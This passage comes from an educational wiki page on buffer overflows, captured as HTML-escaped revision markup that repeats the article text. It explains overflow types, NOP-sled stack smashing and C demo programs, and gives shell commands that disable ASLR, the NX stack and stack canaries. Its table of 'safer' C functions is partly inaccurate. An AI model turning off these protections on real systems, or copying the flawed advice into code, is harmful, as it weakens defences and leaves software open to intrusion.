&amp;lt;pre&amp;gt;&lt;br /&gt;
0xffffcc85:  0x30  0x30  0x30  0x30  0x30  0x30  0x30  0x00&lt;br /&gt;
0xffffcc8d:  0x30  0x33  0x00&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Inspection of memory after the overflow (gdb).&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
0xffffcc85:  0x65  0x78  0x63  0x65  0x73  0x73  0x69  0x76&lt;br /&gt;
0xffffcc8d:  0x65  0x00  0x00&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===  Integer Overflow ===&lt;br /&gt;
Integer overflows occur when an arithmetic operation attempts to generate a value that lies outside a range that can be represented with a specified number of bits. The most common result of an overflow is that the least significant representable bits of the result are stored. An overflow condition can lead to results that are equivalent to unintended behavior. In particular, if the possibility is not expected, an overflow can affect the reliability and safety of a program. A code example is shown below.&lt;br /&gt;
 &lt;br /&gt;
 unsigned char a = 255;&lt;br /&gt;
 unsigned char b = 2;&lt;br /&gt;
 unsigned char Result = a + b;&lt;br /&gt;
&lt;br /&gt;
The data type unsigned char is used, which comprises 8 bits, and the value range is from 0 to 255. For the variable &amp;quot;a,&amp;quot; the value 255 is assigned, and for the variable &amp;quot;b,&amp;quot; the value 2 is assigned. If an arithmetic operation is performed, we would get a result that requires more bits than are present to represent. The corresponding dual calculation is shown below.&lt;br /&gt;
&lt;br /&gt;
   11111111 (a)&lt;br /&gt;
 + 00000010 (b)&lt;br /&gt;
 ----------&lt;br /&gt;
  100000001 (Result)&lt;br /&gt;
&lt;br /&gt;
The front one, the ninth bit, is no longer contained in the 8 bits of the data type &#039;&#039;unsigned char&#039;&#039;. If only the last 8 bits were considered, the result would be 1 and not 257.&lt;br /&gt;
&lt;br /&gt;
The Ariane 5 disaster of 1996 illustrates what can happen when integer overflows are not handled properly in the real world. The rocket was destroyed 37 seconds after launch because of a severe software error, which was caused by an integer overflow. This shows how unresolved integer overflows can have disastrous consequences, particularly in safety-critical systems like aerospace control software. The incident could have been prevented if there had been more robust input validation and error handling procedures, particularly during the conversion process from floating-point to integer data types. &amp;lt;ref name=”AR1”&amp;gt;Innovative Bytes, Ariane-5 disaster - (integer overflow - space requirements), Medium, October 2022&amp;lt;/ref&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Stack-based Buffer Overflow ===&lt;br /&gt;
&lt;br /&gt;
If more data is written to a buffer than the size assigned to it, there is a chance it could overwrite the adjacent memory. This is called a stack overflow. Since the memory overwritten contains valuable information like the return address, this exploitation is a prime target. As an example, consider an input string that gets copied to the stack from a vulnerable function, that does not validate the size. Whatever was written to this string, as long as it is longer than the size of the buffer, will overwrite memory next to the it. If an attacker creates a string that reaches the return address with a new address on purpose, the program will jump to this exact location after its execution. This type of attack is called &amp;quot;stack smashing&amp;quot;. It is frequently used and is well-known in the context of buffer overflows. A common problem of stack smashing is how to guess the starting address of the own shellcode. Just by guessing or brute-forcing the exact return value, it would take the attacker a long time and an enormous number of attempts. This can be minimized by inserting a series of NOP instructions in front of the shellcode. A NOP instruction is a special operation which will push the execution one by one until it hits the malicious code. Adding as many NOP instructions as possible increases the chances of reaching the desired code. This means that as long as the return address points to any NOP instruction, the application will execute the shellcode and we do not have to directly hit address where the code starts.&lt;br /&gt;
&lt;br /&gt;
Stack overflows which alter return addresses, are one of the most dangerous methods of gaining unauthorized access to a system. They allow an attacker to circumvent standard program execution and potentially gain complete control. &amp;lt;ref name=&amp;quot;One1996&amp;quot;/&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Heap-based Buffer Overflow ===&lt;br /&gt;
A program may not know at compile time how much memory it will need. Such segments can be allocated dynamically, during runtime, and will be placed on the heap.&lt;br /&gt;
Special system calls brk() and mmap() can be used by Linux programs to achieve that.&lt;br /&gt;
The functions malloc(), calloc(), realloc() and free() provide convenient wrapper functions around these system calls and help managing those memory segments. &amp;lt;ref name=”RE1”/&amp;gt;&lt;br /&gt;
&lt;br /&gt;
To be efficient, any malloc() implementation stores a&lt;br /&gt;
lot of meta-data about the location of the chunks, the size of the chunks, and perhaps&lt;br /&gt;
some special areas for small chunks. It also organizes this information. In dlmalloc, it is&lt;br /&gt;
organized into buckets, and in many other malloc implementations it is organized into&lt;br /&gt;
a balanced tree structure. This information is stored in two places: in global variables&lt;br /&gt;
used by the malloc() implementation itself, and in the memory block before and / or&lt;br /&gt;
after the allocated user space. Thus, the heap contains important information about&lt;br /&gt;
the state of memory stored directly after any user-allocated buffer. &amp;lt;ref name=”RE1”/&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Use-After-Free Vulnerability ===&lt;br /&gt;
Use-after-free (UAF) vulnerabilities are a specialized form of a memory management bug occurring when a program tries to use a memory object even though it is already deallocated. This vulnerability can happen, because the pointer to the corresponding memory location may remain accessible, despite the memory itself being marked as accessible for other allocations. If a program tries to access this now-freed memory, it could cause some unexpected behavior or even a security breach. Since an attacker could exploit this &amp;quot;dangling pointer&amp;quot; to gain unauthorized access to the system or leak information meant to be kept confidential. &amp;lt;ref name=&amp;quot;UAF&amp;quot;&amp;gt;Byoungyoung Lee, Chengyu Song, Yeongjin Jang, Tielei Wang, Taesoo Kim, Long Lu, and Wenke Lee. Preventing use-after-free with dangling pointers nullification. In Network and Distributed System Security Symposium, 2015&amp;lt;/ref&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Mitigation Techniques and How to Disable Them ==&lt;br /&gt;
This section will briefly introduce some mitigation techniques that can potentially prevent buffer overflow attacks. First, it will explain the basic concepts in a simple way, and second, it will provide brief guides on how to disable certain mitigation techniques for research purposes.&lt;br /&gt;
&lt;br /&gt;
=== Adress Space Layout Randomisation (ASLR) ===&lt;br /&gt;
ASLR randomizes the memory address space layout of processes, making it harder to predict the location of specific functions or buffers.  &amp;lt;ref name=”RE1”/&amp;gt; Since code reuse attacks (e.g., ROP attacks) require the memory addresses of gadgets to be known to an attacker, techniques to randomize their entry points have become increasingly popular.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;ASLR can be temporarily disabled&#039;&#039;&#039; at the system level (Linux):&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
echo 0 | sudo tee /proc/sys/kernel/randomize_va_space&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Re-enable after testing:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
echo 2 | sudo tee /proc/sys/kernel/randomize_va_space&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Non-executable Stack (nx-stack) ===&lt;br /&gt;
A non-executable stack, or nx-stack, prevents execution of code in the stack, when designated as non-executable, mitigating buffer overflow attacks that inject shellcode into that region. &amp;lt;ref name=”RE1”/&amp;gt;&lt;br /&gt;
&lt;br /&gt;
To &#039;&#039;&#039;disable nx-stack&#039;&#039;&#039; on a program, use the -z execstack option during compilation. This allows execution of code in the stack memory:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
gcc -z execstack -o vulnerable_program source.c&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Data Execution Prevention (DEP) ===&lt;br /&gt;
&lt;br /&gt;
Data Execution Prevention (DEP) is a security feature originally developed by MicrosoftR© for Windows XP SP2. There are two basic variants: hardware-based DEP and software-based DEP. If supported by the CPU as well as the process, hardware DEP will be employed; otherwise, DEP has to be carried out in software, which is part of the Windows operating system. The basic functionality of DEP is to prevent applications from executing code in a non-executable area of memory.&lt;br /&gt;
&lt;br /&gt;
=== Stack Canaries ===&lt;br /&gt;
&lt;br /&gt;
Stack canaries are small random values placed on the stack to detect and prevent buffer overflow attacks. If an overflow occurs and modifies the stack, the canary value will change, triggering a security alert or crash. &amp;lt;ref name=”RE1”/&amp;gt;&lt;br /&gt;
Typical types of canaries, which are supported by security hardening technologies like ProPolice or Stackguard (GCC), are terminator canaries, random canaries, and random XOR canaries.&lt;br /&gt;
&lt;br /&gt;
To &#039;&#039;&#039;disable stack canaries&#039;&#039;&#039; when compiling a program, use the -fno-stack-protector option with gcc:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
gcc -fno-stack-protector -o vulnerable_program source.c&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Conclusion == &lt;br /&gt;
Since the rise of C in the early 1970s, buffer overflows have become a serious security vulnerability. Even though high-level programming languages are typically not affected, the number of vulnerable systems is actually rising. At the same time, a wide array of countermeasures are also increasingly adopted and applied. Features like executable space protection (e.g., data execution prevention under Windows) have already been deployed since the mid-2000s, and on the compiler side, technologies like Stackguard support several detection and prevention mechanisms (e.g., different types of canaries). Furthermore, almost every widely used operation system supports Address Space Layout Randomization in order to minimize the attack surface for buffer overflow attacks. For example, at the beginning of 2020, most of the bigger operating systems (Linux, Windows, macOS, iOS, Android, Solaris, OpenBSD, etc.) will offer support for ASLR.&lt;br /&gt;
&lt;br /&gt;
Another key point is the expansion of the Internet of Things (IoT). These widely distributed networks of hardware endpoints have deemed themselves the perfect target for buffer overflow attacks. This stems from the fact that IoT applications mostly utilize low-level, closely hardware-related languages such as C and C++, both of which are almost exclusively for buffer overflows.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== References ==&lt;br /&gt;
&lt;br /&gt;
&amp;lt;references /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Further Reading === &lt;br /&gt;
&lt;br /&gt;
* [http://phrack.org/issues/49/14.html Smashing the stack for fun and profit (1996, Aleph One)]&lt;br /&gt;
* [http://phrack.org/issues/57/8.html Vudo malloc tricks (2001, MaXX)]&lt;br /&gt;
* [http://phrack.org/issues/60/10.html#article Basic Integer Overflows (2002, Blexim)]&lt;br /&gt;
* [https://doi.org/10.1109/SP.2013.45 Just-In-Time Code Reuse: On the Effectiveness of Fine-Grained Address Space Layout Randomization (2013, Snow et al.)]&lt;br /&gt;
* [http://www.cs.ucf.edu/~czou/CDA6938-06/Buffer%20Overflows.pdf Buffer Overflow for Dummies (2002, Josef Nelißen)]&lt;br /&gt;
* [https://www.hackingarticles.in/a-beginners-guide-to-buffer-overflow/ A Beginner’s Guide to Buffer Overflow (2021, Raj Chandel)]&lt;br /&gt;
* [https://repository.unikom.ac.id/56387/1/24_Deadly_Sin.pdf 24 Deadly Sins of Software Security (2009, Michael Howard, David LeBlanc, and John Viega)]&lt;br /&gt;
* [https://scholar.google.com/scholar_case?case=551386241451639668 United States v. Morris (1991, U.S. Dept. of Justice)]&lt;br /&gt;
* [https://cwe.mitre.org/top25/archive/2023/2023_top25_list.html 2023 CWE Top 25 Most Dangerous Software Weaknesses (2023, CWE)]&lt;br /&gt;
* [https://computersciencewiki.org/index.php?title=Stack_memory Stack memory (2023, Bill MacKenty)]&lt;br /&gt;
* [https://computersciencewiki.org/index.php?title=Heap_memory Heap memory (2023, Bill MacKenty)]&lt;br /&gt;
* [https://dhanvina.medium.com/ariane-5-disaster-integer-overflow-space-requirements-b96f4dda8bdb Ariane 5 (2022, Innovative Bytes)]&lt;br /&gt;
* [https://www.researchgate.net/publication/281784645_Preventing_Use-after-free_with_Dangling_Pointers_Nullification Use-after-free bug (2015, Lee et al.)]&lt;br /&gt;
&lt;br /&gt;
[[Category:Basic]]&lt;/div&gt;</summary>
		<author><name>AKofranek</name></author>
	</entry>
	<entry>
		<id>https://elvis.hcw.ac.at/wiki/index.php?title=Buffer_Overflows&amp;diff=16994</id>
		<title>Buffer Overflows</title>
		<link rel="alternate" type="text/html" href="https://elvis.hcw.ac.at/wiki/index.php?title=Buffer_Overflows&amp;diff=16994"/>
		<updated>2024-12-11T17:22:28Z</updated>

		<summary type="html">&lt;p&gt;AKofranek: /* References */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;[[File:Buffer-overflow.png|500px|thumb|right|Buffer Overflow examle &amp;lt;ref name=&amp;quot;BOB&amp;quot;&amp;gt;What is a Buffer Overflow Attack, [Online]. Available: https://www.wallarm.com/what/buffer-overflow-attack-definition-types-use-by-hackers-part-1. Accessed: Dec. 11, 2024&amp;lt;/ref&amp;gt;]]&lt;br /&gt;
&lt;br /&gt;
== Introduction ==&lt;br /&gt;
Buffer overflow is a security vulnerability that should not be underestimated, as it has been the most common type of vulnerability in the last decade. This type of attack is an essential part of all security attacks, as buffer overflow vulnerabilities are widespread and easy to exploit. Especially in the field of cyber attacks, they are exploited by users to gain access to vulnerable servers and control them.&lt;br /&gt;
&lt;br /&gt;
== Definitions ==&lt;br /&gt;
&lt;br /&gt;
=== Buffer ===&lt;br /&gt;
&lt;br /&gt;
A buffer is defined as a &#039;&#039;&#039;limited&#039;&#039;&#039;, contiguously allocated set of memory. The most common buffer in C is an array. &amp;lt;ref name=”RE1”&amp;gt;C. Anley, The Shellcoder’s Handbook: Discovering and Exploiting Security Holes, 2nd ed., Indianapolis: Wiley, 2007&amp;lt;/ref&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Buffer Overflow ===&lt;br /&gt;
&lt;br /&gt;
Buffer Overflows are possible because in the C and C++ languages there exists no inherent bounds-checking to ensure that data being copied into a buffer will not be larger than what the buffer was initialized to hold. Consequently, if the person writing the program has not explicitly coded the program to check for oversize input, it is possible for data to fill a buffer, and if that data is large enough, to continue to write past the end of the buffer. &amp;lt;ref name=”RE1”/&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Common Weakness Enumeration (CWE) ==&lt;br /&gt;
&lt;br /&gt;
The importance of addressing buffer overflow vulnerabilities can be seen by examining Mitre’s respective parent category: &amp;lt;ref name=”MIT23a”&amp;gt; MITRE, &amp;quot;CVE Search Results for &#039;buffer overflow&#039;,&amp;quot; [Online]. Available: https://cve.mitre.org/cgi-bin/cvekey.cgi?keyword=buffer+overflow. Accessed: Oct. 16, 2024. &amp;lt;/ref&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* CWE-119: Improper Restriction of Operations within the Bounds of a Memory Buffer&lt;br /&gt;
&lt;br /&gt;
There is a large variety of direct and indirect child categories that further help create a taxonomy of the issues at hand. Some of those are listed here: &lt;br /&gt;
&amp;lt;ref name=&amp;quot;MIT23b&amp;quot;&amp;gt;MITRE, &amp;quot;CWE-119: Improper Restriction of Operations within the Bounds of a Memory Buffer,&amp;quot; [Online]. Available: https://cwe.mitre.org/data/definitions/119.html. Accessed: Oct. 16, 2024.&amp;lt;/ref&amp;gt;&lt;br /&gt;
&amp;lt;ref name=&amp;quot;MIT23c&amp;quot;&amp;gt;MITRE, &amp;quot;CWE-788: Access of Memory Location After End of Buffer,&amp;quot; [Online]. Available: https://cwe.mitre.org/data/definitions/788.html. Accessed: Oct. 16, 2024.&amp;lt;/ref&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* CWE-788: Access of Memory Location After End of Buffer&lt;br /&gt;
* CWE-787: Out-of-bounds Write&lt;br /&gt;
* CWE-786: Access of Memory Location Before Start of Buffer&lt;br /&gt;
* CWE-125: Out-of-bounds Read&lt;br /&gt;
* CWE-120: Buffer Copy Without Checking Size of Input (’Classic Buffer Over- flow’)&lt;br /&gt;
* CWE-121: Stack-based Buffer Overflow&lt;br /&gt;
* CWE-122: Heap-based Buffer Overflow&lt;br /&gt;
* CWE-126: Buffer Over-read&lt;br /&gt;
&lt;br /&gt;
== History ==&lt;br /&gt;
In the past, there were often a series of events executed with the help of buffer overflows. In 1980, the term Internet worm was a very well-known and sensitive topic because a worm was malicious software that reproduced itself and spread through network connections. It was called a Morris worm because on November 2, 1988, an event occurred that changed the way people thought about networks and about the Internet. On that day, tens of thousands of computers quickly and simultaneously became infected with a self-replicating computer program. Back then, computer science student Robert T. Morris created a computer worm that exploited an unsafe function, which at the time was very commonly used and distributed. Through the practical application of a buffer overflow, the computer worm spread itself around at an alarming rate and, going back, nearly shut down the entire internet. This situation resulted in Morris being the first person convicted under the Computer Fraud and Abuse Act, demonstrating further how dangerous buffer overflows can be. To this day, this attack is perhaps one of the most significant events in the history of computing. With buffer overflows, it was also possible to bypass various security measures. For example, buffer overflows could be used to remove software restrictions from firmware or to bypass copy protection. This was the case with the Android and iOS operating systems, where it was possible to remove various locks and modify the smartphone according to one&#039;s own wishes. For example, it was possible to install apps that were not available in the store elsewhere, change the boot animation, access hidden system files, remove manufacturer-specific apps, remove network locks, and much more. One keyword is &amp;quot;jailbreaking&amp;quot; for Apple devices and &amp;quot;rooting&amp;quot; for Android devices. On Nintendo&#039;s game console, a game called Pokemon Yellow could be changed from the inside by manipulating the program using shellcode.&lt;br /&gt;
&lt;br /&gt;
While many of these events already reside in the past, buffer overflows do not. The exploit reoccurs frequently, so much so that in 2023 they still secured themselves a spot on the Common Weakness Enumeration/SANS list of the Top 25 Most Dangerous Software Errors. Whether through the adaptation of the exploit&#039;s mechanism or simply by focusing on a new set of targets, buffer overflows stay relevant. That&#039;s why, when dealing with cybersecurity of any sort, there is no way past them.&lt;br /&gt;
&lt;br /&gt;
== Technical Background and Context ==&lt;br /&gt;
&lt;br /&gt;
=== Memory Layout of a Process ===&lt;br /&gt;
&lt;br /&gt;
Informally, a process is a &#039;&#039;&#039;program in execution&#039;&#039;&#039;. The status of the current activity of a process is represented by the value of the &#039;&#039;&#039;program counter/instruction pointer&#039;&#039;&#039; and the content of the processor’s &#039;&#039;&#039;registers&#039;&#039;&#039;. Different parts of the program are stored in different memory segments, as shown in the figure below. &lt;br /&gt;
&lt;br /&gt;
[[File:Memory structure.png|center]][https://www.cs.ucf.edu/~czou/CDA6938-06/Buffer%20Overflows.pdf#page=8]&lt;br /&gt;
&lt;br /&gt;
* Stack section: temporary data storage when invoking functions (such as function parameters, return addresses, and local variables)&lt;br /&gt;
* Heap section: memory that is dynamically allocated during program run time&lt;br /&gt;
* Data section: global variables (initialized and uninitialized)&lt;br /&gt;
* Code/Text section: the executable, machine-readable bytecode&lt;br /&gt;
&lt;br /&gt;
=== Readable, Writeable, Executable Memory ===&lt;br /&gt;
&lt;br /&gt;
Memory regions have different rights with respect to the process they belong to. For instance, the text section will usually be marked read only and any attempt to write to it will result in a &#039;&#039;&#039;Segmentation Fault&#039;&#039;&#039;. &lt;br /&gt;
&amp;lt;ref name=&amp;quot;One1996&amp;quot;&amp;gt;A. One, &amp;quot;Smashing the Stack for Fun and Profit,&amp;quot; Phrack, vol. 7, no. 49, Nov. 1996.&amp;lt;/ref&amp;gt;&lt;br /&gt;
All other sections have to be writeable in order for the process to work properly. &amp;lt;ref name=”RE1”/&amp;gt; Whether a section is &#039;&#039;&#039;executable&#039;&#039;&#039;, will largely depend on the applied settings during compilation of the program and the platform on which it is executed.&lt;br /&gt;
&lt;br /&gt;
=== The Stack and Important Control Structures ===&lt;br /&gt;
&lt;br /&gt;
The stack’s primary purpose is to implement and help with the use of functions. A function call alters the flow of execution through a program. However, when its task is completed, a &#039;&#039;&#039;function returns control&#039;&#039;&#039; to the statement or instruction following the function call. Furthermore, the stack is used to allocate memory for the local variables used in the functions and to return values from the function. &amp;lt;ref name=&amp;quot;One1996&amp;quot;/&amp;gt;&lt;br /&gt;
&lt;br /&gt;
During a function call, arguments are pushed onto the stack in reverse order, and the &#039;&#039;&#039;return address&#039;&#039;&#039; (the instruction pointer EIP) is saved to enable returning to the caller after function execution. Key stack-related registers are:&lt;br /&gt;
&lt;br /&gt;
* EIP (Instruction Pointer): Stores the next instruction&#039;s address.&lt;br /&gt;
* ESP (Stack Pointer): Points to the top of the stack.&lt;br /&gt;
* EBP (Base Pointer): Marks the base of the stack frame for the current function.&lt;br /&gt;
&lt;br /&gt;
When a function is called, the stack is manipulated using &#039;&#039;&#039;PUSH&#039;&#039;&#039; and &#039;&#039;&#039;POP&#039;&#039;&#039; instructions. A &#039;&#039;&#039;return address&#039;&#039;&#039; is pushed onto the stack, allowing the program to return to the calling function. Buffer overflows can occur if a function does not properly limit the size of data written to buffers, potentially &#039;&#039;&#039;overwriting the return address&#039;&#039;&#039;. An attacker may &#039;&#039;&#039;overwrite the return pointer to redirect the flow of execution&#039;&#039;&#039;.&lt;br /&gt;
&lt;br /&gt;
== Causes ==&lt;br /&gt;
&lt;br /&gt;
=== C/C++: Vulnerable Functions ===&lt;br /&gt;
C is the programming language most affected when it comes to creating buffer overflows, closely followed by C++. &lt;br /&gt;
&amp;lt;ref name=&amp;quot;Howard2009&amp;quot;&amp;gt;M. Howard, D. LeBlanc, and J. Viega, *24 Deadly Sins of Software Security: Programming Flaws and How to Fix Them*, 1st ed. USA: McGraw-Hill, Inc., 2009.&amp;lt;/ref&amp;gt;&lt;br /&gt;
When writing C code the programmer is responsible for &#039;&#039;&#039;data integrity&#039;&#039;&#039;. If this responsibility were shifted over to the compiler, the resulting binaries would be significantly slower and less efficient. Furthermore, C’s simplicity increases the programmer’s control. However, this can result in programs that are vulnerable to buffer overflows and memory leaks if the programmer isn’t careful. &lt;br /&gt;
&amp;lt;ref name=&amp;quot;Erickson2008&amp;quot;&amp;gt;J. Erickson, *Hacking: The Art of Exploitation*, 2nd ed. San Francisco: No Starch Press, 2008.&amp;lt;/ref&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Some &#039;&#039;&#039;vulnerable functions&#039;&#039;&#039; from the C/C++ standard are listed here, each with their respective, saver counterpart: &lt;br /&gt;
{|class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
! Vulnerable || Safer&lt;br /&gt;
|-&lt;br /&gt;
| strcpy() || strncpy()&lt;br /&gt;
|-&lt;br /&gt;
| gets() || fgets()&lt;br /&gt;
|-&lt;br /&gt;
| strcat() || strncat()&lt;br /&gt;
|-&lt;br /&gt;
| memcpy() || memmove()&lt;br /&gt;
|-&lt;br /&gt;
| scanf() || sscanf()&lt;br /&gt;
|-&lt;br /&gt;
| memset() || -&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
=== IoT/Embedded Devices ===&lt;br /&gt;
&amp;quot;The constrained resources of embedded systems leads to the predominant use of the C language. This, along with the tight processing requirements, leave associated devices open to BOF based attacks.&amp;quot; &amp;lt;ref name=””&amp;gt; G. Mullen and L. Meany, &amp;quot;Assessment of Buffer Overflow Based Attacks On an IoT Operating System,&amp;quot; 2019 Global IoT Summit (GIoTS), Aarhus, Denmark, 2019, pp. 1-6, doi: 10.1109/GIOTS.2019.8766434.&lt;br /&gt;
&amp;lt;/ref&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Dangers ==&lt;br /&gt;
&lt;br /&gt;
Arguably, the most significant consequence of a buffer overflow is when the attacker is able to execute their own malicious shellcode. Which is also referred to as arbitrary code execution. This way it is completely up to the attacker itself what they will do with the same privileges as the program on the level of the current user. Create a reverse shell to execute remote code, stealing data or even manipulate all settings of the system. By getting elevated privileges, the attacker would also be able to run code as an administrator or root. Another potential consequence is a Denial of Service (DoS) attack. Instead of executing code, the goal is to cause unpredictable behavior or crash the system by overwriting as much data as possible until the program is unable to handle it. The downtime of a program can be costly for large organizations. Data corruption, system instability, and information disclosure, are all potential consequences that can be caused by a buffer overflow. Consequently, it is up to the creativity of the attacker once a vulnerable code is identified.&lt;br /&gt;
&lt;br /&gt;
Summed up these four are the main dangers:&lt;br /&gt;
&lt;br /&gt;
* Data Corruption&lt;br /&gt;
* Program Crashes&lt;br /&gt;
* Exploitation: Control Flow Alteration &lt;br /&gt;
* Exploitation (via Shellcode Injection): Arbitrary Code Execution&lt;br /&gt;
&lt;br /&gt;
== Types of Buffer Overflow Vulnerabilities ==&lt;br /&gt;
&lt;br /&gt;
The following section will introduce descriptions and simple examples related to the most relevant categories of buffer overflow vulnerabilities. The distinction between Buffer Over-Read and Buffer Over-Write provides a basic categorization of the issues at hand. The respective sections will include simple, illustrative examples. The sections on Stack Buffer Overflow and Heap Buffer Overflow will present more complex concepts, introducing the mechanics and control structures of each memory region and how they could potentially be exploited. Note that Over-Read and Over-Write vulnerabilities can occur in both sections of process memory.&lt;br /&gt;
&lt;br /&gt;
=== Buffer Over-Read ===&lt;br /&gt;
&lt;br /&gt;
The following is a simple example of a Out-of-bounds read operation, that can be performed by a C program:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
#include &amp;lt;stdio.h&amp;gt; &lt;br /&gt;
#include &amp;lt;string.h&amp;gt; &lt;br /&gt;
&lt;br /&gt;
int main(){&lt;br /&gt;
&lt;br /&gt;
int array[5] = {1 ,2 ,3 ,4 ,5}; &lt;br /&gt;
printf(&amp;quot;%d\n&amp;quot;, array[5]);&lt;br /&gt;
&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
This program illustrates a common error that new programmers might run into when learning about arrays: Referencing array[5] will eventually attempt to access its sixth element, although the array was only initialized to hold five elements. When this program is run, it will read beyond the bounds of the array and might produce unexpected results.&lt;br /&gt;
&lt;br /&gt;
=== Buffer Over-Write ===&lt;br /&gt;
In this section, a simple Out-of-bounds write vulnerability will be examined. Although this particular example showcases a stack-based buffer overflow, we will use it to introduce the general concept of a over-write vulnerability and delve into specifically exploiting the stack&#039;s mechanics and control structures in the later section &amp;quot;Stack-based Buffer Overflow&amp;quot;. &lt;br /&gt;
&lt;br /&gt;
The following program deliberately uses the insecure strcpy()-function to copy a large string into a buffer, which is actually too small for the string. The following listing displays the complete source code.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
#include &amp;lt;stdio.h&amp;gt; &lt;br /&gt;
#include &amp;lt;string.h&amp;gt;&lt;br /&gt;
&lt;br /&gt;
int main() {&lt;br /&gt;
&lt;br /&gt;
    char B[3] = &amp;quot;03&amp;quot;; // gets higher address on stack&lt;br /&gt;
    char A[8] = &amp;quot;0000000&amp;quot;; // gets lower address on stack&lt;br /&gt;
&lt;br /&gt;
    printf(&amp;quot;Before overflow: A = %s, B = %s\n&amp;quot;, A, B);&lt;br /&gt;
&lt;br /&gt;
    strcpy(A, &amp;quot;excessive&amp;quot;); // dangerous &lt;br /&gt;
    printf(&amp;quot;After overflow: A = %s, B = %s\n&amp;quot;, A, B);&lt;br /&gt;
&lt;br /&gt;
    return 0;&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Console output running the program (bash).&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
Before overflow: A = 0000000, B = 03&lt;br /&gt;
After overflow: A = excessive, B = e&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Inspection of memory before the overflow (gdb). &lt;br /&gt;
The memory addresses on the left are the locations of the two buffers.&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
0xffffcc85:  0x30  0x30  0x30  0x30  0x30  0x30  0x30  0x00&lt;br /&gt;
0xffffcc8d:  0x30  0x33  0x00&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Inspection of memory after the overflow (gdb).&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
0xffffcc85:  0x65  0x78  0x63  0x65  0x73  0x73  0x69  0x76&lt;br /&gt;
0xffffcc8d:  0x65  0x00  0x00&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===  Integer Overflow ===&lt;br /&gt;
Integer overflows occur when an arithmetic operation attempts to generate a value that lies outside a range that can be represented with a specified number of bits. The most common result of an overflow is that the least significant representable bits of the result are stored. An overflow condition can lead to results that are equivalent to unintended behavior. In particular, if the possibility is not expected, an overflow can affect the reliability and safety of a program. A code example is shown below.&lt;br /&gt;
 &lt;br /&gt;
 unsigned char a = 255;&lt;br /&gt;
 unsigned char b = 2;&lt;br /&gt;
 unsigned char Result = a + b;&lt;br /&gt;
&lt;br /&gt;
The data type unsigned char is used, which comprises 8 bits, and the value range is from 0 to 255. For the variable &amp;quot;a,&amp;quot; the value 255 is assigned, and for the variable &amp;quot;b,&amp;quot; the value 2 is assigned. If an arithmetic operation is performed, we would get a result that requires more bits than are present to represent. The corresponding dual calculation is shown below.&lt;br /&gt;
&lt;br /&gt;
   11111111 (a)&lt;br /&gt;
 + 00000010 (b)&lt;br /&gt;
 ----------&lt;br /&gt;
  100000001 (Result)&lt;br /&gt;
&lt;br /&gt;
The front one, the ninth bit, is no longer contained in the 8 bits of the data type &#039;&#039;unsigned char&#039;&#039;. If only the last 8 bits were considered, the result would be 1 and not 257.&lt;br /&gt;
&lt;br /&gt;
The Ariane 5 disaster of 1996 illustrates what can happen when integer overflows are not handled properly in the real world. The rocket was destroyed 37 seconds after launch because of a severe software error, which was caused by an integer overflow. This shows how unresolved integer overflows can have disastrous consequences, particularly in safety-critical systems like aerospace control software. The incident could have been prevented if there had been more robust input validation and error handling procedures, particularly during the conversion process from floating-point to integer data types. &amp;lt;ref name=”AR1”&amp;gt;Innovative Bytes, Ariane-5 disaster - (integer overflow - space requirements), Medium, October 2022&amp;lt;/ref&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Stack-based Buffer Overflow ===&lt;br /&gt;
&lt;br /&gt;
